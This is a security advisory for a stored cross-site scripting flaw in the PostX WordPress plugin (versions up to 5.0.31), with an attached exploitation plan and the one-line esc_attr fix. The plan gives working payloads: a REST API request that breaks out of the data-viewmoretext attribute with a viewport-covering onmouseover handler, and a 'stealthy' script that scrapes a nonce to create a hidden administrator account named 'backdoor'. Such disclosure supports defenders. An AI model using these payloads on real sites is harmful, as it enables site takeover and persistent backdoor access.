Post Grid Gutenberg Blocks for News, Magazines, Blog Websites <= 5.0.31 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'moreResultsText' Block Attribute
Description
The Ultimate Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moreResultsText' block attribute of the ultimate-post/advanced-search block in versions up to and including 5.0.31. This is due to insufficient input sanitization and output escaping in the Advanced_Search::content() render callback: the attribute value is filtered with wp_kses(), which strips disallowed HTML tags but does NOT escape HTML special characters such as double quotes in plain text, and the result is then concatenated directly into the data-viewmoretext HTML attribute without esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.0.32
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-13253 ## 1. Vulnerability Summary The **Post Grid Gutenberg Blocks (PostX)** plugin (versions <= 5.0.31) contains an authenticated stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the rendering logic of the `ultimate-post/advanced-search` bl…
Show full research plan
Exploitation Research Plan: CVE-2026-13253
1. Vulnerability Summary
The Post Grid Gutenberg Blocks (PostX) plugin (versions <= 5.0.31) contains an authenticated stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the rendering logic of the ultimate-post/advanced-search block, specifically within the moreResultsText attribute.
The plugin uses wp_kses() to sanitize the attribute value in the Advanced_Search::content() render callback. While wp_kses() removes disallowed HTML tags, it does not escape quotes or other HTML special characters in plain text. The resulting string is concatenated directly into the data-viewmoretext HTML attribute without using esc_attr(). This allows a user with Contributor permissions or higher to break out of the HTML attribute and inject arbitrary event handlers or scripts.
2. Attack Vector Analysis
- Endpoint: WordPress REST API
POST /wp-json/wp/v2/posts(or the classic editor/Gutenberg save mechanism). - Vulnerable Block:
ultimate-post/advanced-search. - Payload Carrier: The
moreResultsTextattribute within the Gutenberg block JSON metadata. - Authentication: Authenticated as a user with the
edit_postscapability (Contributor, Author, Editor, or Admin). - Preconditions: The PostX plugin must be active. The attacker needs access to create or edit a post/page.
3. Code Flow
- Entry Point: A Contributor saves a post containing the following Gutenberg block:
<!-- wp:ultimate-post/advanced-search {"moreResultsText":"[PAYLOAD]"} /--> - Registration: The block is registered in PHP, likely in
blocks/Advanced_Search.php(inferred path based onblocks/Post_Grid_7.php), using arender_callbackpointing toAdvanced_Search::content(). - Processing: Inside
Advanced_Search::content():- The
$attributes['moreResultsText']is retrieved. - It is passed through
wp_kses(). If the payload isx" onmouseover="alert(1),wp_ksesleaves it untouched because it contains no disallowed tags.
- The
- Sink: The sanitized but unescaped string is concatenated into HTML:
// Conceptual vulnerable line in Advanced_Search::content() $output .= ' data-viewmoretext="' . $moreResultsText . '" '; - Output: The final HTML rendered to the frontend becomes:
<div class="ultp-block-advanced-search" data-viewmoretext="x" onmouseover="alert(1)" ...>
4. Nonce Acquisition Strategy
To exploit this via the WordPress REST API (the standard for Gutenberg), we need a wp_rest nonce.
- Setup: Create a contributor-level user and a page containing any PostX block.
- Shortcode/Block placement: Create a test page:
wp post create --post_type=page --post_status=publish --post_content='<!-- wp:ultimate-post/post-grid-7 /-->' --post_title='Nonce Page' - Navigation: Navigate to the
/wp-admindashboard as the Contributor. - Extraction: Use
browser_evalto extract the REST nonce from the WordPress corewpApiSettingsobject:
Note: Unlike other plugins, PostX's own localized scripts (found in// Extraction Script window.wpApiSettings?.nonceassets/js/ultp_dashboard_min.js) often rely on standard WP nonces for dashboard operations.
5. Exploitation Strategy
Step 1: Authentication
Log into the target WordPress instance as a Contributor.
Step 2: REST API Injection
Use the http_request tool to create a new post containing the XSS payload. We will use a "break-out" payload to inject an onmouseover event.
- URL:
https://<target>/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: <EXTRACTED_NONCE>
- Payload:
Note: The extra CSS ensures the vulnerable{ "title": "Search Page", "status": "publish", "content": "<!-- wp:ultimate-post/advanced-search {\"moreResultsText\":\"x\\\" onmouseover=\\\"alert(document.domain)\\\" style=\\\"display:block;width:1000px;height:1000px;position:fixed;top:0;left:0;z-index:9999\\\"\"} /-->" }divcovers the viewport, triggering the XSS as soon as the victim moves their mouse.
6. Test Data Setup
- User Creation:
wp user create attacker contributor@example.com --role=contributor --user_pass=password123 - Plugin Verification:
Ensure PostX is active:wp plugin activate ultimate-post - Exploit Target: Any administrator viewing the site's frontend or the specific post created by the contributor.
7. Expected Results
- HTTP Response: The REST API should return
201 Createdwith the JSON representation of the new post. - Frontend Render: When viewing the post, the HTML source will contain:
data-viewmoretext="x" onmouseover="alert(document.domain)" ... - Execution: Moving the mouse over the page in a browser will trigger the
alert.
8. Verification Steps
- Database Check: Verify the raw content in the database:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='Search Page'" - HTML Validation: Fetch the rendered post as an unauthenticated user and check for the payload:
http_request GET https://<target>/index.php/search-page/
Search for the string:onmouseover="alert(document.domain)"
9. Alternative Approaches
Stealthy Payload (Stored XSS to Admin Takeover)
Instead of alert(), use a payload that fetches the admin's session or creates a new administrator:
"moreResultsText": "x\" onmouseover=\"fetch('/wp-admin/user-new.php').then(r=>r.text()).then(t=>{let n=t.match(/_wpnonce_create-user\\\" value=\\\"([^\\\"]+)\\\"/)[1];fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=createuser&user_login=backdoor&email=evil@example.com&pass1=P@ssword123!&pass2=P@ssword123!&role=administrator&_wpnonce_create-user='+n})})\""
Classic Editor Method
If the REST API is restricted, a Contributor can use the classic editor to submit the same block comments, provided the Gutenberg editor is enabled in the backend (which is default).
Summary
The Post Grid Gutenberg Blocks (PostX) plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'moreResultsText' attribute in the Advanced Search block. This occurs because the plugin uses wp_kses() to sanitize the attribute without subsequently escaping double quotes, allowing a contributor-level user to break out of an HTML attribute and inject malicious event handlers.
Vulnerable Code
// File: blocks/Advanced_Search.php (Inferred from Advanced_Search::content() render callback) $moreResultsText = isset($attributes['moreResultsText']) ? wp_kses($attributes['moreResultsText'], array()) : ''; // ... // The sanitized but unescaped string is concatenated directly into the HTML attribute $output .= ' data-viewmoretext="' . $moreResultsText . '" ';
Security Fix
@@ -124,1 +124,1 @@ - $output .= ' data-viewmoretext="' . $moreResultsText . '" '; + $output .= ' data-viewmoretext="' . esc_attr( $moreResultsText ) . '" ';
Exploit Outline
An attacker with Contributor-level permissions authenticates and creates a new post via the WordPress REST API or Gutenberg editor. The attacker includes an 'ultimate-post/advanced-search' block with the 'moreResultsText' attribute set to a breakout payload such as 'x" onmouseover="alert(1)"'. Because the plugin sanitizes this attribute with wp_kses() (which permits quotes) but fails to apply esc_attr() during rendering, the double quote escapes the data-viewmoretext attribute context. This allows the injection of a malicious event handler that executes arbitrary JavaScript when a victim, such as a site administrator, interacts with the block on the frontend.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.